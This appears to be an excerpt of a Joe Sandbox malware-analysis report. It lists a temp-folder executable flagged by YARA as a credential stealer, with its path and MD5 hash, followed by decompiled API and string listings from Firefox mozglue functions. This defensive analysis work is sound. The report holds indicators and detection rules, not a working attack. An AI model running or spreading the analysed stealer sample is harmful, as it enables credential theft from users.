Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	22:42:31
Start date:	17/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe"
Imagebase:	0x1e0000
File size:	1'884'672 bytes
MD5 hash:	9C292208017062C4D09720F198405A75
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000002F.00000003.3167427735.0000000000EF6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000002F.00000003.3187030785.0000000000EFD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000002F.00000003.3146067573.0000000000EF6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	48
Start time:	22:42:32
Start date:	17/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2260 -parentBuildID 20230927232528 -prefsHandle 2208 -prefMapHandle 2200 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ffc08525-ffc5-4546-9e79-fa9a2f8be888} 2800 "\\.\pipe\gecko-crash-server-pipe.2800" 21beb56eb10 socket
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	29.2%
Total number of Nodes:	113
Total number of Limit Nodes:	13

Executed Functions

Function 6CA935A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6CB1F688,00001000), ref: 6CA935D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CA935E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6CA935FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CA9363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CA9369F
__aulldiv.LIBCMT ref: 6CA936E4
QueryPerformanceCounter.KERNEL32(?), ref: 6CA93773
EnterCriticalSection.KERNEL32(6CB1F688), ref: 6CA9377E
LeaveCriticalSection.KERNEL32(6CB1F688), ref: 6CA937BD
QueryPerformanceCounter.KERNEL32(?), ref: 6CA937C4
EnterCriticalSection.KERNEL32(6CB1F688), ref: 6CA937CB
LeaveCriticalSection.KERNEL32(6CB1F688), ref: 6CA93801
__aulldiv.LIBCMT ref: 6CA93883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6CA93902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6CA93918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6CA9394C

Strings

GTC, xrefs: 6CA93912
MOZ_TIMESTAMP_MODE, xrefs: 6CA935DB
AuthcAMDenti, xrefs: 6CA93946
QPC, xrefs: 6CA938FC
GenuntelineI, xrefs: 6CA93639

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 05407ea7460b15f35a20ad068ab08dec451bbaafbff7424e122d1bd211be0d87
Instruction ID: 97eb3e2b191861ee76324ef4e83ad2cfb36f3c19f71890ac9c8b3d6dc47070c5
Opcode Fuzzy Hash: 05407ea7460b15f35a20ad068ab08dec451bbaafbff7424e122d1bd211be0d87
Instruction Fuzzy Hash: 82B1F6B1B193509FDB08DF28C85A65ABBF5FB8A704F04892EE8D9D3B50D7709940CB81

Function 6CAAC930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6CAAC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6CAAC969
GetSystemInfo.KERNEL32(?), ref: 6CAAC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6CAAC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6CAAC9E2

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 0d6db9c64bf321e40e2c23a69c1325a00cb40cbfe59e7d6cc4c980c4c7b1381a
Instruction ID: b0c59072573bd2d418f88402817f4939ae795ba42655e63583c23f898d353d39
Opcode Fuzzy Hash: 0d6db9c64bf321e40e2c23a69c1325a00cb40cbfe59e7d6cc4c980c4c7b1381a
Instruction Fuzzy Hash: AD2129727412186BEB04AAE8CC85BAE73BDAB46708F50011EF907A7F40DB319C84C795

Function 6CA93060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6CA93095

Part of subcall function 6CA935A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6CB1F688,00001000), ref: 6CA935D5
Part of subcall function 6CA935A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CA935E0
Part of subcall function 6CA935A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6CA935FD
Part of subcall function 6CA935A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CA9363F
Part of subcall function 6CA935A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CA9369F
Part of subcall function 6CA935A0: __aulldiv.LIBCMT ref: 6CA936E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA9309F

Part of subcall function 6CAB5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CAB56EE,?,00000001), ref: 6CAB5B85
Part of subcall function 6CAB5B50: EnterCriticalSection.KERNEL32(6CB1F688,?,?,?,6CAB56EE,?,00000001), ref: 6CAB5B90
Part of subcall function 6CAB5B50: LeaveCriticalSection.KERNEL32(6CB1F688,?,?,?,6CAB56EE,?,00000001), ref: 6CAB5BD8
Part of subcall function 6CAB5B50: GetTickCount64.KERNEL32 ref: 6CAB5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6CA930BE

Part of subcall function 6CA930F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6CA93127
Part of subcall function 6CA930F0: __aulldiv.LIBCMT ref: 6CA93140

Part of subcall function 6CACAB2A: __onexit.LIBCMT ref: 6CACAB30

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: ea65c557d010e5509bb92e3ccf45042c963ad3adac5c012282d9d8926a14ce8d
Instruction ID: 1062404f30af020ed4a770c8a467be960cc06c95e03b1ed4167d6fdb9719fe98
Opcode Fuzzy Hash: ea65c557d010e5509bb92e3ccf45042c963ad3adac5c012282d9d8926a14ce8d
Instruction Fuzzy Hash: FBF0F422E2074897CA10DF7499431EAB3B4AF6B214F101319E89C63E21FB3062DCC382

Non-executed Functions

Function 6CAA5440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6CAA5492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAA54A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAA54BE
__Init_thread_footer.LIBCMT ref: 6CAA54DB

Part of subcall function 6CACAB3F: EnterCriticalSection.KERNEL32(6CB1E370,?,?,6CA93527,6CB1F6CC,?,?,?,?,?,?,?,?,6CA93284), ref: 6CACAB49
Part of subcall function 6CACAB3F: LeaveCriticalSection.KERNEL32(6CB1E370,?,6CA93527,6CB1F6CC,?,?,?,?,?,?,?,?,6CA93284,?,?,6CAB56F6), ref: 6CACAB7C

Part of subcall function 6CACCBE8: GetCurrentProcess.KERNEL32(?,6CA931A7), ref: 6CACCBF1
Part of subcall function 6CACCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA931A7), ref: 6CACCBFA

GetCurrentThreadId.KERNEL32 ref: 6CAA54F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6CAA5516
GetCurrentThreadId.KERNEL32 ref: 6CAA556A
AcquireSRWLockExclusive.KERNEL32(6CB1F4B8), ref: 6CAA5577
moz_xmalloc.MOZGLUE(00000070), ref: 6CAA5585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6CAA5590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6CAA55E6
ReleaseSRWLockExclusive.KERNEL32(6CB1F4B8), ref: 6CAA5606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAA5616

Part of subcall function 6CACAB89: EnterCriticalSection.KERNEL32(6CB1E370,?,?,?,6CA934DE,6CB1F6CC,?,?,?,?,?,?,?,6CA93284), ref: 6CACAB94
Part of subcall function 6CACAB89: LeaveCriticalSection.KERNEL32(6CB1E370,?,6CA934DE,6CB1F6CC,?,?,?,?,?,?,?,6CA93284,?,?,6CAB56F6), ref: 6CACABD1

GetCurrentThreadId.KERNEL32 ref: 6CAA563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAA5646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6CAA567C
free.MOZGLUE(?), ref: 6CAA56AE

Part of subcall function 6CAB5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAB5EDB
Part of subcall function 6CAB5E90: memset.VCRUNTIME140(6CAF7765,000000E5,55CCCCCC), ref: 6CAB5F27
Part of subcall function 6CAB5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CAB5FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6CAA56E8
GetCurrentThreadId.KERNEL32 ref: 6CAA5707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6CAA570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6CAA5729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6CAA574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6CAA576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6CAA5796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6CAA57B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6CAA57CA

Strings

MOZ_BASE_PROFILER_HELP, xrefs: 6CAA5511
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6CAA5BBE
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6CAA5D1C
MOZ_PROFILER_STARTUP, xrefs: 6CAA55E1
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6CAA57AE
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CAA5724
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6CAA5C56
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CAA57C5
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6CAA584E
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CAA5791
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6CAA56E3
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6CAA5D01
[I %d/%d] profiler_init, xrefs: 6CAA564E
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6CAA5D2B
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CAA54A3
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6CAA5749
GeckoMain, xrefs: 6CAA5554, 6CAA55D5
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6CAA5AC9
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CAA54B9
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6CAA5CF9
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6CAA5D24
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6CAA5B38
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CAA548D
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CAA5766
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6CAA5717

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: b9318f3e7168f7a714125a2f39ca3517416286146d142b246e880e611b511d13
Instruction ID: 7fed282b6188370a1f8b3d2a74b42b01426ac6df1fdb693eb7ae4660374e964b
Opcode Fuzzy Hash: b9318f3e7168f7a714125a2f39ca3517416286146d142b246e880e611b511d13
Instruction Fuzzy Hash: 802235B5A04B409FEB009FB5C51976A77F5AF46318F080929F84697F41EB30D88ACB57

Function 6CADB820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6CADB845
AcquireSRWLockExclusive.KERNEL32(6CB1F4B8,?,?,00000000), ref: 6CADB852
ReleaseSRWLockExclusive.KERNEL32(6CB1F4B8), ref: 6CADB884
InitializeConditionVariable.KERNEL32(?), ref: 6CADB8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6CADB9FD
GetCurrentThreadId.KERNEL32 ref: 6CADBA05
AcquireSRWLockExclusive.KERNEL32(6CB1F4B8,?,?,00000000), ref: 6CADBA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6CADBA27
ReleaseSRWLockExclusive.KERNEL32(6CB1F4B8), ref: 6CADBA4B
free.MOZGLUE(?), ref: 6CADC9C7
free.MOZGLUE(?), ref: 6CADC9DC

Strings

[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6CADC7DA
[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6CADC878

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: 9f4ad0366c117bfeeba73d4c3cdae6ce67da9fa167fc08c42e305049a7608e8d
Instruction ID: 6d089f376cffd313ae61401b30d6aea3b7e97a7134ec44ce466b748585c70fb3
Opcode Fuzzy Hash: 9f4ad0366c117bfeeba73d4c3cdae6ce67da9fa167fc08c42e305049a7608e8d
Instruction Fuzzy Hash: 89A28E71A083808FD725CF28D49079BB7F6BFC9314F454A2DE89997750DB70A989CB82

Function 6CAA6C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CAA6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CAA6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6CAA6D26

Part of subcall function 6CAACA10: malloc.MOZGLUE(?), ref: 6CAACA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6CAA6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CAA6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6CAA6D73
free.MOZGLUE(00000000), ref: 6CAA6D80
CertGetNameStringW.CRYPT32 ref: 6CAA6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6CAA6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CAA6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6CAA6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6CAA6E10
CryptMsgClose.CRYPT32(00000000), ref: 6CAA6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6CAA6E34
CreateFileW.KERNEL32 ref: 6CAA6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6CAA6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CAA6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6CAA709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CAA7103
free.MOZGLUE(00000000), ref: 6CAA7153
CloseHandle.KERNEL32(?), ref: 6CAA7176
__Init_thread_footer.LIBCMT ref: 6CAA7209
__Init_thread_footer.LIBCMT ref: 6CAA723A
__Init_thread_footer.LIBCMT ref: 6CAA726B
__Init_thread_footer.LIBCMT ref: 6CAA729C
__Init_thread_footer.LIBCMT ref: 6CAA72DC
__Init_thread_footer.LIBCMT ref: 6CAA730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CAA73C2
VerSetConditionMask.NTDLL ref: 6CAA73F3
VerSetConditionMask.NTDLL ref: 6CAA73FF
VerSetConditionMask.NTDLL ref: 6CAA7406
VerSetConditionMask.NTDLL ref: 6CAA740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CAA741A
moz_xmalloc.MOZGLUE(?), ref: 6CAA755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CAA7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6CAA7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CAA7598
free.MOZGLUE(00000000), ref: 6CAA75AC

Part of subcall function 6CACAB89: EnterCriticalSection.KERNEL32(6CB1E370,?,?,?,6CA934DE,6CB1F6CC,?,?,?,?,?,?,?,6CA93284), ref: 6CACAB94
Part of subcall function 6CACAB89: LeaveCriticalSection.KERNEL32(6CB1E370,?,6CA934DE,6CB1F6CC,?,?,?,?,?,?,?,6CA93284,?,?,6CAB56F6), ref: 6CACABD1

Strings

SHA256, xrefs: 6CAA6EC0
wintrust.dll, xrefs: 6CAA72CD
CryptCATAdminReleaseCatalogContext, xrefs: 6CAA72C8
(, xrefs: 6CAA768A

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 6948b94de97eba5393272ce780f4569939c06352b5231aaaa30a2dd0cdbaaf04
Instruction ID: 51d79007db7c712d454713389b175df1f64d70f9824e850b11962a15ca4df895
Opcode Fuzzy Hash: 6948b94de97eba5393272ce780f4569939c06352b5231aaaa30a2dd0cdbaaf04
Instruction Fuzzy Hash: FD52D1B1A00254DFEB21DF64CC85BAB77B9EB45718F144199E908E7A40DB30AEC6CF91

Function 6CAC6FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB1E7DC), ref: 6CAC7019
LeaveCriticalSection.KERNEL32(6CB1E7DC), ref: 6CAC7061
EnterCriticalSection.KERNEL32(?), ref: 6CAC71A4
LeaveCriticalSection.KERNEL32(?), ref: 6CAC721D
memcpy.VCRUNTIME140(?,?,?), ref: 6CAC723E
EnterCriticalSection.KERNEL32(?), ref: 6CAC726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6CAC72B2
LeaveCriticalSection.KERNEL32(?), ref: 6CAC733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6CAC73E8
LeaveCriticalSection.KERNEL32(?), ref: 6CAC961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAC9622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CAC9642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CAC964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CAC96CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CAC96DB
AcquireSRWLockExclusive.KERNEL32(6CB1E804), ref: 6CAC9747
GetSystemInfo.KERNEL32(?), ref: 6CAC9792
__Init_thread_footer.LIBCMT ref: 6CAC97A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6CB1E810,00000040), ref: 6CAC97CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6CB1E7B8,00001388), ref: 6CAC9838
InitializeCriticalSectionAndSpinCount.KERNEL32(6CB1E744,00001388), ref: 6CAC984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6CB1E784,00001388), ref: 6CAC9874
InitializeCriticalSectionAndSpinCount.KERNEL32(6CB1E7DC,00001388), ref: 6CAC9895

Strings

<jemalloc>, xrefs: 6CAC9B33, 6CAC9BE3
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CAC99A8
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6CAC9993
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CAC99BD
MALLOC_OPTIONS, xrefs: 6CAC97CA
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CAC9933, 6CAC9A33, 6CAC9A4E
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CAC99D2
: (malloc) Unsupported character in malloc options: ', xrefs: 6CAC9BF4
MOZ_CRASH(), xrefs: 6CAC9B42
Compile-time page size does not divide the runtime one., xrefs: 6CAC9B38

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

